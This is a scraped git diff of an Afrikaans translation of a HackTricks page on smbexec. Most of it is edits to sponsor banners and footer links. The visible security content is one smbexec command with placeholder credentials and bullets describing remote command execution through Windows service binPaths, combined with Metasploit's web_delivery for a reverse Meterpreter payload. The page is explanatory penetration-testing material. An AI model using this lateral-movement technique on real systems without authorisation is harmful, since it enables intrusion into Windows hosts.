**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, sekuriteitskwessies te vind wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
|
|
@ -17,7 +17,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk, en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
**Vind en rapporteer kritieke, exploitable kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde exploits om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
|
@ -37,9 +37,9 @@ smbexec.py WORKGROUP/genericuser:genericpassword@10.10.10.10
|
||||||
```
|
```
|
||||||
### Uitvoering van Opdragte Sonder Binaries
|
### Uitvoering van Opdragte Sonder Binaries
|
||||||
|
|
||||||
- **Smbexec** stel direkte opdraguitvoering deur diens binPaths in staat, wat die behoefte aan fisiese binaries op die teiken uitskakel.
|
- **Smbexec** stel direkte opdrag uitvoering deur diens binPaths in staat, wat die behoefte aan fisiese binaries op die teiken uitskakel.
|
||||||
- Hierdie metode is nuttig vir die uitvoering van eenmalige opdragte op 'n Windows-teiken. Byvoorbeeld, om dit te kombineer met Metasploit se `web_delivery` module stel dit in staat om 'n PowerShell-gefokusde omgekeerde Meterpreter payload uit te voer.
|
- Hierdie metode is nuttig om eenmalige opdragte op 'n Windows-teiken uit te voer. Byvoorbeeld, om dit te kombineer met Metasploit se `web_delivery` module stel die uitvoering van 'n PowerShell-gefokusde omgekeerde Meterpreter payload moontlik.
|
||||||
- Deur 'n afstanddiens op die aanvaller se masjien te skep met binPath ingestel om die verskafde opdrag deur cmd.exe uit te voer, is dit moontlik om die payload suksesvol uit te voer, wat terugroep en payload-uitvoering met die Metasploit-luisteraar bereik, selfs al gebeur diensresponsfoute.
|
- Deur 'n afstanddiens op die aanvaller se masjien te skep met binPath ingestel om die verskafde opdrag deur cmd.exe uit te voer, is dit moontlik om die payload suksesvol uit te voer, wat terugroep en payload uitvoering met die Metasploit luisteraar bereik, selfs al gebeur diens responsfoute.
|
||||||
|
|
||||||
### Opdragte Voorbeeld
|
### Opdragte Voorbeeld
|
||||||
|
|
||||||
|
@ -56,9 +56,9 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
#### Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk
|
**Kry 'n hacker se perspektief op jou webtoepassings, netwerk en wolk**
|
||||||
|
|
||||||
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskep.
|
**Vind en rapporteer kritieke, exploiteerbare kwesbaarhede met werklike besigheidsimpak.** Gebruik ons 20+ pasgemaakte gereedskap om die aanvaloppervlak te karteer, vind sekuriteitskwessies wat jou toelaat om bevoegdhede te verhoog, en gebruik geoutomatiseerde eksploit om noodsaaklike bewyse te versamel, wat jou harde werk in oortuigende verslae omskakel.
|
||||||
|
|
||||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||||
|
|
||||||
|
@ -70,9 +70,9 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
Loading…
Reference in a new issue